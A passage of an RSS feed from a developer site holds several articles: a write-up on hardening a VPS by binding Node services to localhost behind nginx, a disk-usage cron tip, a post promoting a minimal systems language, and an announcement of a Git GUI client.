&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Internet
   ↓
nginx :443
   ↓
127.0.0.1:5173
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was no need for the Node process itself to listen on every interface.&lt;/p&gt;
&lt;p&gt;The original code contained:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;server.listen(PORT, '0.0.0.0', () =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We changed only the bind address:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;server.listen(PORT, '127.0.0.1', () =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then checked syntax:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;node --check server-static.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and restarted only that PM2 process:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pm2 restart myzubster-web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not the entire PM2 stack.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;verify-before-persisting&quot;&gt;Verify before persisting&lt;/h3&gt;
&lt;p&gt;After the restart:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ss -lntp | grep ':5173'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;showed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;127.0.0.1:5173
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The local service still returned &lt;code&gt;200&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then nginx HTTP returned the expected redirect.&lt;/p&gt;
&lt;p&gt;Finally HTTPS was tested directly against the local nginx instance using the real virtual host:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -k -sS -o /dev/null \
  --resolve myzubster.com:443:127.0.0.1 \
  -w 'HTTPS nginx -&amp;gt; %{http_code}\n' \
  https://myzubster.com/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;HTTPS nginx -&amp;gt; 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only after that did we run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pm2 save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This sequencing matters.&lt;/p&gt;
&lt;p&gt;You do not persist a new runtime state before proving that the change is healthy.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;hardening-port-5002&quot;&gt;Hardening port 5002&lt;/h3&gt;
&lt;p&gt;Port &lt;code&gt;5002&lt;/code&gt; belonged to another Node application.&lt;/p&gt;
&lt;p&gt;It was listening globally because the server was started without an explicit host:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;httpServer.listen(PORT, () =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before changing it, we checked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nginx references&lt;/li&gt;
&lt;li&gt;frontend references&lt;/li&gt;
&lt;li&gt;active TCP connections&lt;/li&gt;
&lt;li&gt;WebSocket usage&lt;/li&gt;
&lt;li&gt;service routes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The frontend already targeted the service internally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const API_TARGET = 'http://127.0.0.1:5002';
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There was no nginx route sending external traffic directly to &lt;code&gt;5002&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;No active external dependency was visible.&lt;/p&gt;
&lt;p&gt;So we changed the listener to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;httpServer.listen(PORT, '127.0.0.1', () =&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Again:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;backup
→ syntax check
→ restart one process
→ verify socket
→ verify health
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The service remained reachable locally.&lt;/p&gt;
&lt;p&gt;The frontend proxy returned a &lt;code&gt;404&lt;/code&gt; for one test route rather than &lt;code&gt;502&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That difference was useful.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;404&lt;/code&gt; meant:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;upstream reachable, route missing&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A &lt;code&gt;502&lt;/code&gt; would have meant:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;upstream unreachable&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That distinction prevented us from treating a valid hardening step as a regression.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-interesting-part-a-broken-taz-contract&quot;&gt;The interesting part: a broken TAZ contract&lt;/h3&gt;
&lt;p&gt;During the dependency review, we found a frontend WebSocket client that constructed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;`${protocol}//${window.location.host}/api/taz/live`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The TAZ interface also expected:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;GET /api/taz/dashboard
GET /api/taz/xmr/summary
WS  /api/taz/live
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first this looked like something that might have been affected by our network changes.&lt;/p&gt;
&lt;p&gt;So we tested the production gateway directly.&lt;/p&gt;
&lt;p&gt;The results were:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;404 Cannot GET /api/taz/dashboard
404 Cannot GET /api/taz/xmr/summary
404 Cannot GET /api/taz/live
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was important.&lt;/p&gt;
&lt;p&gt;The feature was already incomplete.&lt;/p&gt;
&lt;p&gt;The hardening work had not broken it.&lt;/p&gt;
&lt;p&gt;That leads to one of the most useful lessons from the whole exercise:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;A failure discovered during infrastructure work is not automatically caused by the infrastructure change.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Always reproduce the behavior against the actual upstream service.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;nginx-was-doing-exactly-what-it-should&quot;&gt;Nginx was doing exactly what it should&lt;/h3&gt;
&lt;p&gt;The production nginx configuration routed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;location / {
    proxy_pass http://localhost:5173;
}

location /api/ {
    proxy_pass http://localhost:5003;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So &lt;code&gt;/api/taz/live&lt;/code&gt; already reached the production gateway.&lt;/p&gt;
&lt;p&gt;The gateway returned the &lt;code&gt;404&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That meant blindly adding WebSocket proxy headers such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-nginx&quot;&gt;proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection &quot;upgrade&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;would not solve the real problem.&lt;/p&gt;
&lt;p&gt;A reverse proxy cannot invent an application endpoint.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;there-was-already-a-realtime-subsystem&quot;&gt;There was already a realtime subsystem&lt;/h3&gt;
&lt;p&gt;Repository inspection revealed something more interesting.&lt;/p&gt;
&lt;p&gt;MyZubster already contains a realtime implementation based on Socket.IO.&lt;/p&gt;
&lt;p&gt;Its server path is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;/realtime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and supporting HTTP routes are mounted under:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;/api/realtime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The realtime code exposes an explicit attachment function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;attachRealtimeServer(httpServer)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This changed the architecture question completely.&lt;/p&gt;
&lt;p&gt;Instead of asking:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;How do we build a new WebSocket service for TAZ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;the better question became:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Can TAZ reuse the existing realtime stack?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Maintaining two separate realtime systems would add unnecessary complexity unless there is a strong protocol reason.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;source-code-and-production-runtime-were-not-the-same-thing&quot;&gt;Source code and production runtime were not the same thing&lt;/h3&gt;
&lt;p&gt;There was another subtle mismatch.&lt;/p&gt;
&lt;p&gt;The repository's normal backend startup path includes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;attachRealtimeServer(server)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the active systemd service starts:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;/root/myzubster/scripts/start-gateway-systemd.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and that startup path currently creates the server with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const server = app.listen(port, host, ...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;without obviously attaching the realtime server.&lt;/p&gt;
&lt;p&gt;So the repository may support realtime while production does not actually expose it.&lt;/p&gt;
&lt;p&gt;This is a recurring infrastructure lesson:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Repository architecture is not runtime architecture.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A feature being present in source code does not prove that the active service manager actually executes it.&lt;/p&gt;
&lt;p&gt;The authoritative chain is closer to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;systemd / PM2
→ executable
→ startup script
→ imported modules
→ bound socket
→ reverse proxy
→ externally observed response
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That chain matters more than a repository grep.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;do-not-fabricate-telemetry-to-make-a-dashboard-look-alive&quot;&gt;Do not fabricate telemetry to make a dashboard look alive&lt;/h3&gt;
&lt;p&gt;The TAZ frontend expects values like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;drinksServed
xmrReceived
robot.status
transactions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During repository searches, we found unrelated simulation and robot data.&lt;/p&gt;
&lt;p&gt;It would have been technically easy to wire some of that into the dashboard.&lt;/p&gt;
&lt;p&gt;We deliberately did not.&lt;/p&gt;
&lt;p&gt;A live interface must not display simulation values as if they were production evidence.&lt;/p&gt;
&lt;p&gt;Our rule was:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;no authoritative source → no authoritative metric&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A degraded dashboard is more honest than a beautiful dashboard with fabricated telemetry.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-changed&quot;&gt;What changed&lt;/h3&gt;
&lt;p&gt;The hardening work produced two concrete improvements:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;MyZubsterWeb
0.0.0.0:5173
→
127.0.0.1:5173
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Urban Lab
*:5002
→
127.0.0.1:5002
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main gateway was already:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;127.0.0.1:5003
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nginx HTTPS continued to work.&lt;/p&gt;
&lt;p&gt;Docker verification environments were not disturbed.&lt;/p&gt;
&lt;p&gt;PM2 state was persisted only after verification.&lt;/p&gt;
&lt;p&gt;No destructive Git operation touched the live checkout.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-we-deliberately-did-not-do&quot;&gt;What we deliberately did not do&lt;/h3&gt;
&lt;p&gt;A large part of safe infrastructure work is knowing what not to touch.&lt;/p&gt;
&lt;p&gt;We did not:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;restart every PM2 application&lt;/li&gt;
&lt;li&gt;reset firewall configuration&lt;/li&gt;
&lt;li&gt;expose additional ports&lt;/li&gt;
&lt;li&gt;modify nginx before proving nginx was the problem&lt;/li&gt;
&lt;li&gt;connect TAZ to an unrelated WebSocket server&lt;/li&gt;
&lt;li&gt;feed simulation values into production telemetry&lt;/li&gt;
&lt;li&gt;reset or pull the live Git checkout&lt;/li&gt;
&lt;li&gt;treat code presence as runtime proof&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Those non-actions were part of the engineering result.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-contributor-verification-node-model&quot;&gt;The Contributor Verification Node model&lt;/h3&gt;
&lt;p&gt;The broader goal is to evolve the VPS toward a structured Contributor Verification Node.&lt;/p&gt;
&lt;p&gt;That should not mean giving every contributor unrestricted shell access.&lt;/p&gt;
&lt;p&gt;A safer pattern looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;SSH identity
   ↓
dedicated Unix account
   ↓
dedicated workspace
   ↓
container / sandbox
   ↓
explicit mounts
   ↓
explicit network permissions
   ↓
reproducible verifier
   ↓
immutable evidence
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The node should prove that a technical checkpoint can be reproduced.&lt;/p&gt;
&lt;p&gt;It should not silently become a shared production administration box.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;current-state&quot;&gt;Current state&lt;/h3&gt;
&lt;p&gt;At the current checkpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;5173  localhost-only  ✅
5002  localhost-only  ✅
5003  localhost-only  ✅
nginx HTTPS           ✅
PM2 persistence       ✅
TAZ HTTP endpoints    missing
TAZ live WebSocket    missing
realtime subsystem    present in source
production realtime   wiring under review
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is not a flashy infrastructure milestone.&lt;/p&gt;
&lt;p&gt;But it is a useful one.&lt;/p&gt;
&lt;p&gt;We now know more precisely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;what is actually listening&lt;/li&gt;
&lt;li&gt;which services need external exposure&lt;/li&gt;
&lt;li&gt;which assumptions in the frontend are currently false&lt;/li&gt;
&lt;li&gt;which realtime infrastructure already exists&lt;/li&gt;
&lt;li&gt;where production startup differs from repository design&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That is enough to make the next change smaller and safer.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;final-takeaway&quot;&gt;Final takeaway&lt;/h3&gt;
&lt;p&gt;The most valuable part of production hardening is often not the final configuration.&lt;/p&gt;
&lt;p&gt;It is the discipline of reducing uncertainty.&lt;/p&gt;
&lt;p&gt;For every service, ask:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;What process owns it?

Who actually needs to reach it?

Does it need to bind globally?

Which reverse proxy reaches it?

What does production really execute?

How will I prove the change did not break anything?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result is not just a smaller attack surface.&lt;/p&gt;
&lt;p&gt;It is a better mental model of the system.&lt;/p&gt;
&lt;p&gt;And once the runtime model is accurate, contributor verification becomes much easier to isolate, reproduce, and trust.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30124/hardening-a-contributor-verification-vps-without-breaking-production</guid>
<pubDate>Wed, 07 Oct 2026 11:17:48 +0000</pubDate>
</item>
<item>
<title>Catch a filling disk weeks before it becomes an outage</title>
<link>https://coderlegion.com/28021/catch-a-filling-disk-weeks-before-it-becomes-an-outage</link>
<description>&lt;p&gt;A disk almost never fails loudly. It fills a percent at a time until writes stop, and at 100% nothing reports &quot;disk full&quot; — the database throws write errors about its own files, apps crash-loop, and logging (a write itself) stops recording at the exact moment you need evidence. You end up debugging five fake problems instead of one real one.&lt;/p&gt;
&lt;p&gt;The prevention costs one line on a daily cron:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;df -h | awk 'NR&amp;gt;1 &amp;amp;&amp;amp; $5+0 &amp;gt;= 80 {print $0}'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;NR&amp;gt;1&lt;/code&gt; skips the header. &lt;code&gt;$5+0&lt;/code&gt; is the trick: df's Use% column is a string like &lt;code&gt;82%&lt;/code&gt;, and awk's numeric coercion keeps the leading digits and drops the &lt;code&gt;%&lt;/code&gt;, so the threshold comparison works without cut or sed. Pipe any output to &lt;code&gt;mail -s&lt;/code&gt; and you get an email the day a filesystem crosses 80.&lt;/p&gt;
&lt;p&gt;Why 80? At 80% a disk growing one percent a day leaves you weeks to investigate with &lt;code&gt;du -ah | sort -rh | head -20&lt;/code&gt;. At 95% you're deleting files under pressure; at 100% every service on the box misbehaves at once.&lt;/p&gt;
&lt;p&gt;This check is #1 in a set of &lt;a rel=&quot;nofollow&quot; href=&quot;https://bashsnippets.xyz/guides/bash-scripts-every-sysadmin-needs&quot;&gt;25 cron-ready bash scripts for sysadmins covering disk monitoring, backups, service watchdogs, SSL expiry, and port audits&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28021/catch-a-filling-disk-weeks-before-it-becomes-an-outage</guid>
<pubDate>Tue, 06 Oct 2026 13:00:00 +0000</pubDate>
</item>
<item>
<title>We Promise Transparency. Not the &quot;Liquid Glass&quot; Kind.</title>
<link>https://coderlegion.com/29977/we-promise-transparency-not-the-liquid-glass-kind</link>
<description>&lt;p&gt;Let's get the joke out of the way first, because I can already see someone's fingers hovering over the comment box: no, when we talk about &quot;transparency&quot; here, we are not launching a translucent UI skin with rounded corners and a marketing deck about &quot;depth&quot; and &quot;light.&quot; Nobody's redesigning your icons to look like they're floating in a glass of water. Apple can keep that one. Transparency, as we mean it, isn't about making things look like glass. It's about making sure there's nothing opaque left to hide behind in the first place.&lt;/p&gt;
&lt;h3 id=&quot;transparency-is-the-rarest-feature-in-modern-software&quot;&gt;Transparency Is the Rarest Feature in Modern Software&lt;/h3&gt;
&lt;p&gt;Here's the uncomfortable observation that started all of this: almost nothing you run today will actually tell you what it's doing. You call a function, and underneath it, a dozen layers you never asked for quietly make decisions on your behalf — a runtime schedules something, an allocator decides where your data actually lives, a framework &quot;helpfully&quot; retries a failed call you didn't know could fail, a standard library wraps three other standard libraries you've never heard of. Most of the time that's a perfectly reasonable trade. Most software genuinely benefits from not making every engineer re-derive memory management from first principles on a Tuesday.&lt;/p&gt;
&lt;p&gt;But somewhere along the way, &quot;we abstracted this for your convenience&quot; quietly turned into &quot;we abstracted this so thoroughly that nobody on the team, including us, can tell you with certainty what your program actually does when it touches the kernel.&quot; That's not convenience anymore. That's a black box with a changelog. And an entire generation of developers has been trained to treat &quot;it works, don't ask why&quot; as an acceptable final answer, because asking why usually means descending through four more layers of someone else's unexamined assumptions.&lt;/p&gt;
&lt;p&gt;Developer transparency, the version we actually care about, is the opposite stance, stated plainly: no hidden magic, no invisible runtime quietly squatting on your CPU cycles like a tenant you never agreed to lease to, and no stack of &quot;convenience&quot; layers standing between your code and the hardware that's supposed to be running it. You should be able to point at any behaviour your program exhibits and trace it to a decision — yours, specifically — not to an abstraction that made the call for you somewhere you'll never see.&lt;/p&gt;
&lt;p&gt;This is where Gloria comes in, because it's the sharpest, most literal expression of that idea we've built so far.&lt;/p&gt;
&lt;h3 id=&quot;what-transparency-actually-looks-like-in-gloria&quot;&gt;What Transparency Actually Looks Like in Gloria&lt;/h3&gt;
&lt;p&gt;When you write something in Gloria, you know exactly what instruction goes to the CPU, exactly what memory gets mapped, and exactly which register is holding your data at any given moment. You are not down on one knee, hat in hand, begging a heavyweight framework or a sprawling C standard library to please do the thing for you. You own the execution, start to finish, with nobody else's fingerprints on it.&lt;/p&gt;
&lt;p&gt;From a Linux perspective, Gloria treats the kernel as its one and only direct interface. No linking against &lt;code&gt;glibc&lt;/code&gt;. No standard C startup routine quietly initializing half a universe of state before your &lt;code&gt;main&lt;/code&gt; function has even had the decency to run. Gloria generates self-contained, raw ELF64 binaries for AMD64, and that's genuinely all that's in there.&lt;/p&gt;
&lt;p&gt;When your code needs to open a socket, allocate memory, or spin up a bit of lightweight concurrency, it doesn't go politely knocking on some third-party wrapper function's door and waiting to be let in. It loads the syscall number straight into &lt;code&gt;RAX&lt;/code&gt;, lays out the arguments exactly per the System V AMD64 ABI, and hits the kernel directly with a &lt;code&gt;syscall&lt;/code&gt; instruction. No chaperone. No translation layer quietly editorializing your request on the way through. The resulting binaries stay under &lt;strong&gt;9KB&lt;/strong&gt;, because there is precisely zero runtime bloat riding along for the trip. Put that next to the multi-megabyte &quot;hello world&quot; some modern frameworks ship by default, and you start to get an honest sense of exactly how much weight we've actually cut.&lt;/p&gt;
&lt;h3 id=&quot;why-this-needed-to-exist-at-all&quot;&gt;Why This Needed to Exist at All&lt;/h3&gt;
&lt;p&gt;Here's the pitch, cynicism included at no extra charge: modern systems engineering has gone soft. Not incompetent — soft. Comfortable. Padded on every side with abstractions that exist specifically to protect you from having to understand what your own program is doing. Most software doesn't need to care which register holds a value. This project exists for the software that does, and for the engineers who'd rather know than be protected from knowing.&lt;/p&gt;
&lt;p&gt;We wanted something that gives you the raw control and speed of C, the type expressiveness and memory-safety thinking of Rust, and the dead-simple concurrency model of Go — minus the overhead each of those languages still quietly carries around. This is built for the specific kind of developer who needs to wring every last drop of performance out of a box, who's writing ultra-fast microservices, custom network infrastructure, or logic that has to survive on genuinely minimal resources, where every kilobyte and every CPU cycle is a line item somebody's actually tracking, not an abstraction nobody bothers to measure.&lt;/p&gt;
&lt;h3 id=&quot;the-roadmap-stated-without-the-usual-hedging&quot;&gt;The Roadmap, Stated Without the Usual Hedging&lt;/h3&gt;
&lt;p&gt;Our self-hosting plan is straightforward and, I'll admit, a little uncompromising. Right now, the ForgeZero compiler, &lt;code&gt;fz&lt;/code&gt;, is written in Go. That's a deliberate choice, not a compromise we're quietly hoping nobody notices — Go let us bootstrap the language fast, iterate on syntax without a chicken-and-egg problem slowing every decision down, and shake the remaining edge cases out of the lexer, parser, and semantic checker while the ground was still allowed to move under our feet.&lt;/p&gt;
&lt;p&gt;But Go is a bridge, not a destination. The actual milestone the entire Gloria ecosystem is being built toward is full self-hosting. We're building out the language constructs, inline assembly support, and memory primitives specifically so that Gloria can eventually compile its own compiler, from scratch, with nothing borrowed. The day &lt;code&gt;fz&lt;/code&gt; is rewritten in pure Gloria is the day we cut the last external dependency loose entirely — and the day this architecture stops being &quot;an interesting idea with training wheels&quot; and starts being something you can point at and say, flatly, that it's ready for serious production.&lt;/p&gt;
&lt;p&gt;That's the whole philosophy, really, scaled up from one register to an entire compiler: nothing in this stack should exist that we can't fully explain, and nothing should run that isn't accountable to someone who actually understands it.&lt;/p&gt;
&lt;h3 id=&quot;watch-it-happen-instead-of-reading-about-it-later&quot;&gt;Watch It Happen Instead of Reading About It Later&lt;/h3&gt;
&lt;p&gt;If any of this is the kind of problem that genuinely interests you — not the polished retrospective six months from now, but the actual process, bugs included — we post it all in close to real time on our Telegram channel, &lt;strong&gt;@forgezeroteam&lt;/strong&gt;. Build updates, broken things, fixed things, syntax decisions argued out loud before they're final. It's faster and considerably more honest than waiting for the cleaned-up version to show up here.&lt;/p&gt;
&lt;p&gt;No liquid glass. No rounded corners pretending to be depth. Just a binary you can actually read, a register you can actually name, and a compiler that, one day soon, won't owe its existence to anything but itself.&lt;/p&gt;
</description>
<category>Discussions</category>
<guid isPermaLink="true">https://coderlegion.com/29977/we-promise-transparency-not-the-liquid-glass-kind</guid>
<pubDate>Tue, 06 Oct 2026 11:10:46 +0000</pubDate>
</item>
<item>
<title>I wanted Git to show me what would happen before changing history, so I built it</title>
<link>https://coderlegion.com/29970/i-wanted-git-to-show-me-what-would-happen-before-changing-history-so-i-built-it</link>
<description>&lt;p&gt;I use Git every day, but one thing has always bothered me:&lt;/p&gt;
&lt;p&gt;when you do something that changes history, a lot of Git tools still basically ask you to understand the command first and trust that the result is what you expected.&lt;/p&gt;
&lt;p&gt;I wanted something more visual.&lt;/p&gt;
&lt;p&gt;So while building &lt;strong&gt;RepoBeam&lt;/strong&gt;, I added a before/after preview for operations like going back to an older commit.&lt;/p&gt;
&lt;p&gt;Instead of clicking the action and hoping I understood it correctly, RepoBeam first shows me what the repository will look like afterwards.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/rx5b0flb4q1km0dt0ugp.png&quot; alt=&quot;RepoBeam showing a Before and After commit-history preview for a “Back to this commit” operation, so the user can see exactly how the Git history will change before confirming.&quot;&gt;&lt;/p&gt;
&lt;p&gt;For example, when going back to a commit I can choose whether I want to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;restore the files as normal unstaged changes&lt;/li&gt;
&lt;li&gt;restore them already staged&lt;/li&gt;
&lt;li&gt;create a new restore commit when rewriting published history would be unsafe&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And RepoBeam shows the expected history before I confirm anything.&lt;/p&gt;
&lt;p&gt;The idea is simple:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;show me what Git is going to do before it does it.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;RepoBeam actually started for a different reason.&lt;/p&gt;
&lt;p&gt;I used &lt;strong&gt;Fork&lt;/strong&gt; for a long time on Windows. When I started working more on Linux, I tried GitKraken, Sublime Merge, SmartGit, GitButler and a bunch of smaller clients, but I never found one that really felt like the Git GUI I wanted to use every day.&lt;/p&gt;
&lt;p&gt;So I started building my own.&lt;/p&gt;
&lt;p&gt;Over time it turned into a full Git client with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;local changes and staging&lt;/li&gt;
&lt;li&gt;split/unified diffs&lt;/li&gt;
&lt;li&gt;commit history and graph&lt;/li&gt;
&lt;li&gt;branches and remotes&lt;/li&gt;
&lt;li&gt;stashes&lt;/li&gt;
&lt;li&gt;guided conflict resolution&lt;/li&gt;
&lt;li&gt;before/after Git previews&lt;/li&gt;
&lt;li&gt;Coding Sessions&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;coding-sessions&quot;&gt;Coding Sessions&lt;/h4&gt;
&lt;p&gt;This is another part I use a lot now.&lt;/p&gt;
&lt;p&gt;When I start working with Codex or Claude, I start a Coding Session in RepoBeam first.&lt;/p&gt;
&lt;p&gt;RepoBeam then organizes everything that changes during that session.&lt;/p&gt;
&lt;p&gt;I can review the files afterwards, undo one change, bring it back, keep the rest, or undo the entire session.&lt;/p&gt;
&lt;p&gt;It does not replace Git or create some separate version-control system. It works with normal Git repositories.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;RepoBeam currently runs on &lt;strong&gt;Linux and Windows&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Linux builds are available as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.deb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;AppImage&lt;/li&gt;
&lt;li&gt;Snap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Private repositories work, no RepoBeam account is required, and the app is free to use including for work.&lt;/p&gt;
&lt;p&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://repobeam.com&quot;&gt;https://repobeam.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/jnapyun31qyc4pii98np.png&quot; alt=&quot;RepoBeam’s “Back to this commit” preview showing three safe restore options: restore as unstaged changes, restore staged, or create a restore commit while keeping published history intact.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/l3y2vsbn8rpocdm2106b.png&quot; alt=&quot;RepoBeam’s guided conflict resolver showing Local and Server versions side by side, with options to keep Local, keep Server, keep both, or manually edit the final result before continuing the merge.&quot;&gt;&lt;/p&gt;
&lt;p&gt;I released &lt;strong&gt;1.8.3&lt;/strong&gt; this week and this is the first time I'm seriously putting RepoBeam in front of developers I don't know.&lt;/p&gt;
&lt;p&gt;The thing I'm most curious about:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Would a before/after preview like this actually make you more comfortable with Git history operations, or do you prefer seeing the underlying Git command directly?&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29970/i-wanted-git-to-show-me-what-would-happen-before-changing-history-so-i-built-it</guid>
<pubDate>Tue, 06 Oct 2026 09:55:16 +0000</pubDate>
</item>
<item>
<title>Linux in Practice: Files, Directories and Archives — Chapters 7-9</title>
<link>https://coderlegion.com/29927/linux-in-practice-files-directories-and-archives-chapters-7-9</link>
